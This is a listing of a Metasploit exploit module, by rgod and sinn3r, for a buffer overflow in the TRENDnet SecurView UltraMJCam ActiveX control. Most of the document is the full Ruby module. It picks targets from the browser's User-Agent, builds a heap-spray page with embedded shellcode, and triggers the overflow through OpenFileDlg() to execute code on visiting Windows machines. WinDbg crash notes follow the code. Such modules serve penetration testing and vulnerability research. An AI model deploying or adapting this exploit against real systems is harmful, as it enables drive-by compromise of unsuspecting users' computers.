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TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow

TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow
Posted Apr 7, 2012
Authored by rgod, sinn3r | Site metasploit.com

This Metasploit module exploits a vulnerability found in TRENDnet SecurView Internet Camera's ActiveX control. By supplying a long string of data as the sFilter argument of the OpenFileDlg() function, it is possible to trigger a buffer overflow condition due to WideCharToMultiByte (which converts unicode back to) overwriting the stack more than it should, which results arbitrary code execution under the context of the user.

tags | exploit, overflow, arbitrary, code execution, activex
advisories | OSVDB-80661
SHA-256 | dbd0c9ab83279260de0fbf18041f491375843cf365e6a1c3874208c117b871ef

TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in TRENDnet SecurView Internet
Camera's ActiveX control. By supplying a long string of data as the sFilter
argument of the OpenFileDlg() function, it is possible to trigger a buffer
overflow condition due to WideCharToMultiByte (which converts unicode back to)
overwriting the stack more than it should, which results arbitrary code execution
under the context of the user.
},
'License' => MSF_LICENSE,
'Author' =>
[
'rgod', #Original discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
[ 'OSVDB', '80661' ],
[ 'URL', 'http://www.exploit-db.com/exploits/18675/' ]
],
'Payload' =>
{
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ],
[ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ],
[ 'IE 7 on Windows Vista', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ]
],
'Privileged' => false,
'DisclosureDate' => "Mar 28 2012",
'DefaultTarget' => 0))
end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
return targets[3] #IE 7 on Windows Vista
else
return nil
end
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
send_not_found(cli)
return
end

# Set payload depending on target
p = payload.encoded

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

# Convert the pivot addr (in decimal format) to binary,
# and then break it down to this printable format:
# \x41\x41\x41\x41
t = [my_target.ret].pack("V").unpack("H*")[0]
target_ret = ''
0.step(t.length-1, 2) do |i|
target_ret << "\\x#{t[i, 2]}"
end

js = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x40000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x1000; i++) {
heap_obj.alloc(block);
}

var ret = "";
for (i2=0; i2<30000; i2++) {
ret = ret + "#{target_ret}";
}
obj.OpenFileDlg(ret);
JS

js = heaplib(js, {:noobfu => true})

html = <<-EOS
<html>
<head>
<script>
</script>
</head>
<body>
<object classid='clsid:707ABFC2-1D27-4A10-A6E4-6BE6BDF9FB11' id='obj'></object>
<script>
#{js}
</script>
</body>
</html>
EOS

print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})

end

end

=begin
bp 1000f952 "r; g"
bp kernel32!WideCharToMultiByte "r; dc poi(esp+c); .echo; g"

eax=023f4bf4 ebx=1006519c ecx=00000003 edx=0013a170 esi=00038ce0 edi=00000000
eip=7c80a164 esp=0013a130 ebp=0013a158 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
kernel32!WideCharToMultiByte:
7c80a164 8bff mov edi,edi
023f4bf4 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
023f4c04 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
023f4c14 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
023f4c24 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
023f4c34 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
023f4c44 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
023f4c54 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
023f4c64 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.

ChildEBP RetAddr
0013a12c 1000f958 kernel32!WideCharToMultiByte
WARNING: Stack unwind information not available. Following frames may be wrong.
0013a158 100211d0 UltraMJCamX+0xf958
0013e24c 77135cd9 UltraMJCamX!DllUnregisterServer+0xeb20
0013e26c 771362e8 OLEAUT32!DispCallFunc+0x16a
0013e2fc 10017142 OLEAUT32!CTypeInfo2::Invoke+0x234
0013e32c 100170e2 UltraMJCamX!DllUnregisterServer+0x4a92
0013e358 7deac999 UltraMJCamX!DllUnregisterServer+0x4a32
0013e398 7deacfaf mshtml!InvokeDispatchWithNoThis+0x78
0013e3d8 7deac9fc mshtml!COleSite::ContextInvokeEx+0x149
0013e40c 75c71408 mshtml!COleSite::ContextThunk_InvokeEx+0x44
0013e444 75c71378 jscript!IDispatchExInvokeEx2+0xac
0013e47c 75c76db3 jscript!IDispatchExInvokeEx+0x56
0013e4ec 75c710d8 jscript!InvokeDispatchEx+0x78
0013e534 75c6fab8 jscript!VAR::InvokeByName+0xba
0013e574 75c6efea jscript!VAR::InvokeDispName+0x43
0013e598 75c76ff4 jscript!VAR::InvokeByDispID+0xfd
0013e650 75c7165d jscript!CScriptRuntime::Run+0x16bd
0013e668 75c71793 jscript!ScrFncObj::Call+0x8d
0013e6d8 75c5da62 jscript!CSession::Execute+0xa7
0013e728 75c5e6e7 jscript!COleScript::ExecutePendingScripts+0x147

0:008> r
eax=78f8f8f8 ebx=1006519c ecx=020bc038 edx=0c0c0c0c esi=020bf4d0 edi=020c0000
eip=1003a0e9 esp=020bb140 ebp=020bf22c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
UltraMJCamX!DllUnregisterServer+0x27a39:
1003a0e9 8917 mov dword ptr [edi],edx ds:0023:020c0000=00905a4d


The only application-specific component loaded is UltraMJCamX.ocx, but this
can be unreliable and I'd rather not use that.
=end
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